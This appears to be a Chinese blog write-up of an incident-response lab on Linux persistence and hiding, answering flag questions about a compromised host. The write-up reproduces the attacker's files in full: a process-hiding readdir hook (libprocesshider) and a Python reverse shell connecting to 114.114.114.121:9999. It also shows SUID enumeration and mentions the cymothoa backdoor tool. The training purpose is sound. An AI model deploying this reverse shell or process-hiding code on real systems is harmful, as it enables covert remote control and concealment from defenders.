第三章 权限维持-linux权限维持-隐藏-玄机靶场

最新推荐文章于 2025-05-27 09:06:17 发布
最新推荐文章于 2025-05-27 09:06:17 发布
阅读量765 收藏 10
点赞数 17
文章标签： linux 运维 服务器 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/2401_83582688/article/details/143377794
版权

第三章 权限维持-linux权限维持-隐藏-玄机靶场


linux权限维持玄机靶场自用笔记。

本篇文章来自lexsd6's home 师傅的分享，如有侵权请联系

题目简介

1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5} 
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件  将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

1.黑客隐藏的隐藏的文件 完整路径md5

进入查询，发现vim的记录文件 .viminfo 读取它发现几个有意识到路径

Command Line History (newest to oldest):
:q!
:q
:wq

# Search String History (newest to oldest):

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Input Line History (newest to oldest):

# Registers:

# File marks:
'0  1  0  /tmp/.temp/libprocesshider/1.py
'1  4  0  /tmp/.temp/libprocesshider/1.py
'2  12  40  /tmp/.temp/libprocesshider/processhider.c
'3  24  47  /tmp/.temp/libprocesshider/1.py
'4  2  1  /var/www/html/sh.php

发现libprocesshider 是一个Linux 持久性訪問到工具，1.py是这个工具所产生的执行文件。对这个目录文件 /tmp/.temp/libprocesshider/1.py 加密，提交 flag{109ccb5768c70638e24fb46ee7957e37}

2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}

进行分析/tmp/.temp/libprocesshider/下的文件：

root@xuanji:~# cat /tmp/.temp/libprocesshider/processhider.c
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "1.py";

/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
 
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
root@xuanji:~# 
root@xuanji:~# cat  /tmp/.temp/libprocesshider/1.py
#!/usr/bin/python3

import socket,subprocess,os,sys, time

pidrg = os.fork()
if pidrg > 0:
        sys.exit(0)

os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:
        sys.exit(0)

while 1:
        try:
                sys.stdout.flush()
                sys.stderr.flush()
                fdreg = open("/dev/null", "w")
                sys.stdout = fdreg
                sys.stderr = fdreg
                sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                sdregs.connect(("114.114.114.121",9999))
                os.dup2(sdregs.fileno(),0)
                os.dup2(sdregs.fileno(),1)
                os.dup2(sdregs.fileno(),2)
                p=subprocess.call(["/bin/bash","-i"])
                sdregs.close()
        except Exception:
                pass
        time.sleep(2)
root@xuanji:~#

发现在1.py 提到一个sdregs.connect(("114.114.114.121",9999)) ，flag{114.114.114.121:9999}

3.黑客提权所用的命令

用命令查询find / -perm -u=s -type f 2>/dev/null ,suid提权查询

root@xuanji:/tmp/.temp/libprocesshider# find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/find
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/sudo
/usr/lib/eject/dmcrypt-get-device

发现find 可以进行


故flag为 /usr/bin/find md5加密，提交 flag{7fd5884f493f4aaf96abee286ee04120}

4.黑客尝试注入恶意代码的工具

执行find / -name '.*'查询隐藏文件。

/etc/.pwd.lock
/etc/cron.d/.placeholder
/etc/cron.daily/.placeholder
/etc/cron.hourly/.placeholder
/etc/cron.monthly/.placeholder
/etc/cron.weekly/.placeholder
/etc/init.d/.legacy-bootordering
/etc/skel/.bash_logout
/etc/skel/.bashrc
/etc/skel/.profile

/home/ctf/.bash_logout
/home/ctf/.bashrc
/home/ctf/.profile
/home/ctf/.bash_history
/opt/.cymothoa-1-beta

发现一个奇怪的目录/opt/.cymothoa-1-beta,cd 进去发现是一个工具目录：

root@xuanji:/opt/.cymothoa-1-beta# ls
Makefile  bgrep.c  cymothoa    cymothoa.h             payloads    personalization.h  syscalls.txt  udp_server.c
bgrep     core     cymothoa.c  hexdump_to_cstring.pl  payloads.h  syscall_code.pl    udp_server

查询发现是一个后门隐藏工具。

![image-20240708230421498](/Users/lexs/Library/Application Support/typora-user-images/image-20240708230421498.png)

故， /opt/.cymothoa-1-beta/cymothoa 加密，提交 flag{087c267368ece4fcf422ff733b51aed9}

5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec** 值 作为flag提交

Cat 查看1.py：

root@xuanji:/opt/.cymothoa-1-beta# cat /tmp/.temp/libprocesshider/1.py
#!/usr/bin/python3

import socket,subprocess,os,sys, time

发现默认是“#!/usr/bin/python3” ，即pyton3运行1.py，

root@xuanji:~# python3 /tmp/.temp/libprocesshider/1.py
root@xuanji:~# netstat -alntp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      11/apache2      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      10/sshd         
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      1 10.244.6.152:46896      114.114.114.121:9999    SYN_SENT    19439/python3   
tcp        0      1 10.244.6.152:48628      114.114.114.121:9999    SYN_SENT    -               
tcp        0      0 10.244.6.152:22         10.244.0.1:63226        ESTABLISHED 393/1           
tcp        0      1 10.244.6.152:48618      114.114.114.121:9999    SYN_SENT    -               
tcp        0      1 10.244.6.152:40544      114.114.114.121:9999    SYN_SENT    -               
tcp        0      0 10.244.6.152:22         10.244.0.1:4984         ESTABLISHED 9187/sshd: root@not
tcp6       0      0 :::22                   :::*                    LISTEN      10/sshd         
root@xuanji:~# whereis /python3 
python3: /usr/bin/python3 /usr/bin/python3.4 /usr/bin/python3.4m /etc/python3 /etc/python3.4 /usr/lib/python3 /usr/lib/python3.4 /usr/local/lib/python3.4 /usr/share/python3 /usr/share/man/man1/python3.1.gz
root@xuanji:~#ls -lab /usr/bin/python3
lrwxrwxrwx. 1 root root 9 Mar 23  2014 /usr/bin/python3 -> python3.4

where查询python3 位置，最后发现链接到 /usr/bin/python3.4

按题目要求提供完整的执行程序为flag ：flag{/usr/bin/python3.4}
 

星河梦瑾
关注
玄机靶场 - 第三章 权限维持-linux权限维持-隐藏
fishfishfishman的博客
08-15 1056
但是我在网上搜了个遍都没搜到这个说法的出处，目前对这个论点存疑，但是文章中提供的flag确实是正确的，我只能说出题人真行，为了提高所谓的“难度”给flag的描述弄得很复杂，难度全在理解出题人的表达上。，而这个文件我们前面也分析了，是创建子进程实现持续性反弹shell操作，执行后并不会有什么输出，问题在于这个Exec值到底代表什么。，再创建一个新的会话，用于运行守护进程，最后将文件创建掩码设为 0，这允许进程创建的文件具有最大的权限。，在这个文件中我们就可以看到反弹shell的IP和端口，获取flag。
玄机——第三章 权限维持-linux权限维持-隐藏 wp
焦虑的焦虑
07-03 3857
第三章 权限维持-linux权限维持-隐藏
【玄机】第三章 权限维持-linux权限维持-隐藏
weixin_46148739的博客
08-22 1047
【玄机】第三章 权限维持-linux权限维持-隐藏
第三章 权限维持-linux权限维持-隐藏
yulin0305的博客
04-21 1431
1.黑客隐藏的隐藏的文件 完整路径md52.黑客隐藏的文件反弹shell的ip+端口 {ip:port}3.黑客提权所用的命令 完整路径的md5 flag{md5}4.黑客尝试注入恶意代码的工具完整路径md55.使用命令运行 ./x.xx 执行该文件 将查询的 Exec**** 值 作为flag提交 flag{/xxx/xxx/xxx}**
玄机靶场-第三章 权限维持-linux权限维持-隐藏
ljc13626678577的博客
07-04 1200
玄机靶场，第三章 权限维持-linux权限维持-隐藏题目，主要涉及到权限维持内容学习
玄机靶场 第一章 应急响应- Linux入侵排查
qq_46343633的博客
06-04 1608
1.web目录存在木马，请找到木马的密码提交2.服务器疑似存在不死马，请找到不死马的密码提交3.不死马是通过哪个文件生成的，请提交文件名4.黑客留下了木马文件，请找出黑客的服务器ip提交5.黑客留下了木马文件，请找出黑客服务器开启的监端口提交。
玄机靶第一章 应急响应-Linux日志分析
qq_46343633的博客
06-04 1893
1.有多少IP在爆破主机ssh的root帐号，如果有多个使用",“分割2.ssh爆破成功登陆的IP是多少，如果有多个使用”,“分割3.爆破用户名字典是什么？如果有多个使用”,"分割4.登陆成功的IP共爆破了多少次5.黑客登陆主机后新建了一个后门用户，用户名是多少这次靶场是用来确定攻击者的相关信息，以便于后期的溯源和编写应急响应报告。
玄机-第一章 应急响应-Linux日志分析
WTT001的博客
12-24 414
【代码】玄机-第一章 应急响应-Linux日志分析。
玄机靶场应急响应第三章
konpure的博客
01-13 428
玄机靶场第三章
玄机靶场 第二章日志分析-mysql应急响应
qq_46343633的博客
06-05 1530
1.黑客第一次写入的shell flag{关键字符串}2.黑客反弹shell的ip flag{ip}3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx4.黑客获取的权限 flag{whoami后的值}
应急响应实战笔记——权限维持篇：③ Linux权限维持&隐藏篇
君逍遥o
03-28 1432
攻击者在获取服务器权限后，会通过一些技巧来隐藏自己的踪迹和后门文件，本文介绍Linux下的几种隐藏技术。本文主要介绍了Linux下的几种隐藏技术，包括隐藏文件、隐藏权限、隐藏历史操作命令、端口复用、进程隐藏等方面的技巧。仅作抛砖引玉之用，欢迎留言分享。
【应急响应】Linux权限维持 -隐藏权限
网络安全从业者的学习笔记
07-31 708
不知攻焉知守，学会排查就要先学习如何攻击。
West-Wild-v1.1--靶机实操讲解
qq_61802750的博客
08-02 936
22是open SSH 服务，6.6.1版本，这个端口有漏洞的概率极小，优先级排后。tcp 扫出的四个端口，在tcp协议下都可以进行渗透测试，如果涉及到一些异常情况，或者需要找一些新的信息的时候，也可能涉及到udp。这样smb服务的两个端口就利用完毕了，我们还有22和80端口，22端口的ssh服务排后，先看80端口的web服务，显示3个smb的共享信息，但是只有wave可以访问，我们尝试进行连接。发现有/etc/passwd，我们看一下对passwd的权限。我们直接切换用户，进行用户间的横向移动。
海思3519V200ARM Linux 下移植 Qt5.8.0
LNN2022的博客
05-26 837
本文介绍了将Qt5.8.0图形框架移植到海思3519V200嵌入式芯片平台的具体过程。首先阐述了移植的背景意义，然后详细说明了硬件环境准备、软件环境配置、Qt源码交叉编译等步骤。重点讲解了如何修改LinuxFB插件以适配海思平台，包括MPP系统和VO模块的初始化。最后通过测试验证移植效果，并展望了Qt在该平台上的应用前景。整个移植过程涉及环境配置、源码修改、交叉编译等多个技术环节，为嵌入式设备开发提供了强大的GUI支持。
【Linux】借助gcc源码修改，搜索头文件当前进展
05-22 327
在使用修改源代码编译的GCC，进行编译内核源代码时，好像性能要慢不少，有可能是打印日志操作有文件IO导致，也有可能是gcc编译的会不会不是release版本不太对，不太清楚。从上图可以看出对于每次的搜索，都是从第一个目录开始搜索，图里也可以看到修改源代码所在的目录，函数，行，昨天的博客感觉对于找到的位置还是不太好。其实，linux内核在编译时和链接时所使用的源代码不一定相同，也即编译能通过，但是链接会报缺少文件这类问题，下一步想找找链接时对于源文件搜索。这里也有一些gcc系统头文件目录搜索。
linux如何查看网络设备类型
最新发布
小诸葛的博客
05-27 332
参数会显示设备的详细信息，包括类型。例如，输出中可能包含。运行该命令后，查看输出中网络设备的名称和类型。文件不存在，可能是非 TUN/TAP 设备。Linux 系统中网络设备的信息存储在。是具体的网络接口名（如。输出会显示驱动信息。
Linux 搭建FTP服务器(vsftpd)
Stringzhua的博客
05-22 1266
或者修改/etc/selinux/config文件，将SELINUX=enconfig改为SELINUX=disabled，然后重启系统。在Linux上查看，发现已经有了scptoserver.txt文件，说明文件复制到服务器成功！默认即可，如果有需要可以修改/etc/ssh/sshd_config文件。scp 本地文件 user@远程服务器IP:/远程目录/在win10使用git的bash窗口上传文件到Linux。scp root@远程服务器ip:/远程文件 本地目录/
玄机靶场第二章apache
03-08
### 关于玄机靶场第二章中的Apache操作指南 在处理涉及Web服务器的任务时，了解如何管理和配置Apache是非常重要的。对于玄机靶场第二章的内容，重点在于掌握基本的Apache服务管理以及日志分析技巧。 #### 配置与启动Apache服务 为了确保Apache能够正常运行，在Linux环境中可以通过命令行来安装和启动该服务： ```bash sudo apt-get update && sudo apt-get install apache2 -y sudo systemctl start apache2 sudo systemctl enable apache2 ``` 上述脚本适用于基于Debian系统的发行版，如Ubuntu[^1]。如果是在其他类型的Linux系统上，则可能需要调整具体的包管理器指令。 #### 查阅并理解Apache访问日志 当涉及到安全审计或者故障排查时，查看`/var/log/apache2/access.log`文件可以帮助获取客户端请求的信息。而针对非法登录尝试的日志记录通常位于`/var/log/secure`中，可以利用如下命令提取特定时间段内的失败密码验证事件： ```bash grep "Failed password" /var/log/secure | head -n 1 grep "Failed password" /var/log/secure | tail -n 1 ``` 这些命令分别用于显示最早的一次和最近一次发生的失败认证行为[^3]。 #### 使用哥斯拉工具辅助渗透测试 在某些场景下，可能会用到专门设计的安全评估软件来进行更深入的应用层攻击模拟实验。例如提到过的哥斯拉工具，它具有独特的标识符（如key值），这有助于识别其在网络流量或代码片段中存在的痕迹[^2]。 尽管这里主要讨论的是Apache的操作指导，但在实际练习过程中，合理运用各种开源工具同样重要，因为它们能提供额外的功能支持和技术视角。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值